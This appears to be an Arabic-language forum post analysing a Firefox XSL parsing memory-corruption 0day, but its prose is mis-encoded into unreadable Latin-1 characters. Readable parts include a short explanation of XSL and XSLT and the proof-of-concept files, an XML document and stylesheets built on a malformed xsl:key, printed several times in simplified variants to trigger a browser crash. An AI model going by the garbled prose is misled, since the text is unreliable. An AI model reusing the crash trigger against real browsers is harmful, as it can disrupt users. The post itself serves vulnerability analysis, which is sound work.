ÇáÓáÇã Úáíßã.
ÈÓã Çááå ÇáÑÍãä ÇáÑÍíã.
ÇÑÏÊ Çä ÇÚÑÌ æ ÇÔÑÍ ÔíÆ ãåã æåæ ËÛÑÉ ÇáÝÇíÑÝæßÓ ÇáÊí ÙåÑÊ í ÇáÂæäÉ ÇáÃÎíÑÉ.
æáÑÈãÇ ßËÑ ÇáÊÕÚíÏ ÚáíåÇÇ ÈÃäåÇ ËÛÑÉ ÎØíÑÉ ÞÏ ÊåÏÏ ÇáÃãä ÇáÔÎÕí ááãÓÊÎÏãíä¡ØÈÚÇ æÈÛÖ ÇáäÙÑ Úä äæÚíÉ ÇáËÛÑÉ ÝÅäåÇ ÊÚÊÈÑ ÎØíÑÉ ÅÐÇ ÊæÝÑÊ ÔÑæØ ÃÎÑì.
áßä ÇäÇ ÇÞæá ÍÓÈ ÊÍáíáí ÇáÈÓíØ Ãä ÚãáíÉ ÅÓÊÛáÇá ÇáËÛÑÉ ÇáãæÌæÏÉ Ýí åÐÇ ÇáÑÇÈØ ãÓÊÍíá ÈÔßáå ÇáÍÇáí æÓÃæÖÍ ÈÚÏ Þáíá¡Ýáæ Çä ÚãáíÉ ÇáÅÓÊËãÇÑ ÇáËÛÑÉ ßÇäÊ ÓåáÉ áÅÓÊËãÑåÇ ãä æÖÚåÇ Ýí ãíá ææÑã Ýåæ ãÚÑæÝ
ÇáËÛÑÉ ÇáÃæáì Mozilla Firefox XSL Parsing Remote Memory Corruption PoC 0day
ÊÚÑíÝ:
ÇáËÛÑÉ åí ÚÈÇÑÉ Úä ÎØà Ýí ãÚÇáÌÉ ãáÝÇÊXSL ÈÇáÊÍÏíÏ ÃËäÇÁ ÊÍæíá ãÓÊäÏ XML ÈæÇÓØÉ XSLT
ãÇåæ XSL:
Èßá ÈÓÇØÉ åí áÛÉ ÊÓÇÚÏß Úáì ÚÑÖ ãáÝÇÊ XML ÈÇáÔßá ÇáÐí ÊÑÛÈ Ýíå ÃäÊ.
áäÝÑÖ Ãäå áÏíß ãáÝ XML æÊÑíÏ ãÚÇáÌÊå Úä ØÑíÞ ÊØÈíÞ(web app) ãÚíä¡ áßä ÃáÇ ÊÑì Ãä ÇáÊÚÇãá ãÚå Óíßæä ÕÚÈ ÍÊì ÈÇáÊÚÇãá ãÚ parser áÐáß ÞÇã ÇáãØæÑæä ÈÊØæÑí áÛÉ ÈÑãÌÉ ÊÓÇÚÏß Ýí ÚÑÖ ÇÈíÇäÇÊ ÇáãæÌæÏÉ Ýí XML ÈÔßá ÇáÐí ÊÑÛÈ.
ãÇåæ XSLT :
ÈÕÝÉ ÚÇãÉ åí áÛÉ ÊÓÇÚÏß Úáì ÊÍæíá ãÓÊäÏ XML Åáì ãÓÊäÏ ÂÎÑ ÓæÇÁÇ ßÇä XML Çæ HTML Çæ PDF æåí ÊÓÇÚÏ ßËíÑÇ Ýí ÚÑÖ ãÓÊäÏÇÊ XML Úáì ÇáæíÈ¡æ ÊÚáíãÇÊ áÛÉ XSLT Êßæä ãÖãäÉ Ýí ãáÝÇÊ XSL æíÊã ÅÓÊÏÚÇÆåÇ ãä ÏÇÎáåÇ.
ÔÇåÏ ÇáÕæÑÉ.

ÇáÕæÑÉ ãä Wikipedia.
ÝßãÇ ÊÔÇåÏ åäÇ ãÓÊäÏ XML æ ßæÏ XSLT Úáì Çáíãíä æÇáäÇÊÌ åæ ãÓÊäÏ ÂÎÑ æãä Çáããßä Ãä íßæäí plain text ááÚÑÖ Ãæ ÍÊì XML.
äÚæÏ ááËÛÑÉ ßãÇ ÞáäÇ Ãä ÇáËÛÑÉ ÚÈÇÑÉ Úä ÎØà Ýí ãÚÇáÌÉ ãáÝÇÊ XSL ÈÇáÊÍÏíÏ ÃËäÇÁ ÇáÊÚÇãá ãÚ ÃßæÇÏ XSLT áÊÍæíá ãÓÊäÏ XML Åáì äÕ ÞÇÈá ááÚÑÖ.
äáÞí äÙÑÉ Úáì ÇáßæÏ.
ßæÏ ãáÝ xmlcrash.xml

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <item1 id="AAAAAAA" />
        <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>
</root>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:key name="label" match="item2" use="w00t()"/>
        <xsl:template match="root">
                                        <xsl:for-each select="//item1">
                                                <xsl:call-template name="item1" />
                                        </xsl:for-each>
        </xsl:template>
        <xsl:template name="item1">
                                <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
                                </xsl:for-each>
        </xsl:template>
</xsl:stylesheet>

<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>

        <item1 id="AAAAAAA" />
        <item2 id="AAAAAAAAA" label="AAAAAAAAAAAA"/>

æíÚÑÖåã ØÈÞÇ ááßæÏ ÇáãßÊæÈ ÏÇÎá ãáÝ XSL .
ÇáßæÏ ÇáãßÊæÈ ÝæÞ áíÓ ÅáÇ ãÌãæÚÉ ãä nodes áåÇ ÌÐÑ ÑÆíÓí ÅÓãå root¡ æÈåÇ Êáß ÇáÍÑæÝ ãÚ ÇáÚáã Çäå íãßä Ãä Êßæä ÍÑæÝ Çæ ÇÓãÇÁ ÃÎÑì æßãáÇÍÙÉ ÝÅä ÇáãÍÇÑÝ "AAAAAAAAA" áíÓ åí ÇáÊí ÊÍÏË ÇáÎØÃ
ääÊÞá áßæÏ XSL
áä ÃÑÔÍå ÈÇáÊÝÕíá ÝÐáß íÊØáÈ ãäí ÔÑÍ ÊÚáíãÇ áÛÉ XSL áßä ÓÃÍÇæá ÇáÅÎÊÕÇÑ.
ØÈÚÇ áÇ ÈÏ Çäß ÞÏ ÅØáÚÊ Úáì áÛÉ ÈÑãÌÉ ãÚíäÉ ßäÊ ÞÏ ÑÃíÊ ÝíåÇ ÇáÊÚáíãÇÊ ãËá for æ for ...each æ if .
ÝÇáÃãÑ íäØÈÞ Úáì åÐå ÇááÛÉ áßä ÈÔßá ãÛÇíÑ Ýí ßÊÇÈÉ ÇáÚÈÇÑÉ ÇáÈÑãÌíÉ ÝÞØ.
ÝßãÇ ÊáÇÍÙ ÊÚáíãÉ for ....each Êã ßÊÇÈÊåÇ ÈÇáÔßá ÇáÊÇáí

<xsl:for-each

</xsl:for-each>

 <xsl:call-template name="item1" />

   <xsl:template name="item1">
                                <xsl:for-each select="key('label', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')">
                                </xsl:for-each>
        </xsl:template>

<xsl:key name="label" match="item2" use="w00t()"/>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="xslt.xsl"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <item1 id="datasniper" />
</root>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:key name="label" match="item1" use=""/>
        <xsl:template match="root">
                                   <xsl:for-each select="key('label', @item1)">
                                </xsl:for-each>
        </xsl:template>
</xsl:stylesheet>

Resized to 81% (was 800 x 570) - Click image to enlarge

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

        <xsl:key name="label" match="item1" use=""/>

        <xsl:template match="root">
                                   <xsl:for-each select="key('label', @item1)">
                                </xsl:for-each>
        </xsl:template>

</xsl:stylesheet>

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

        <xsl:key name="label" match="item1" use=""/>

        <xsl:template match="root">
                                   <xsl:value-of select="key('label', @item1)">
                                </xsl:value-of>
        </xsl:template>
</xsl:stylesheet>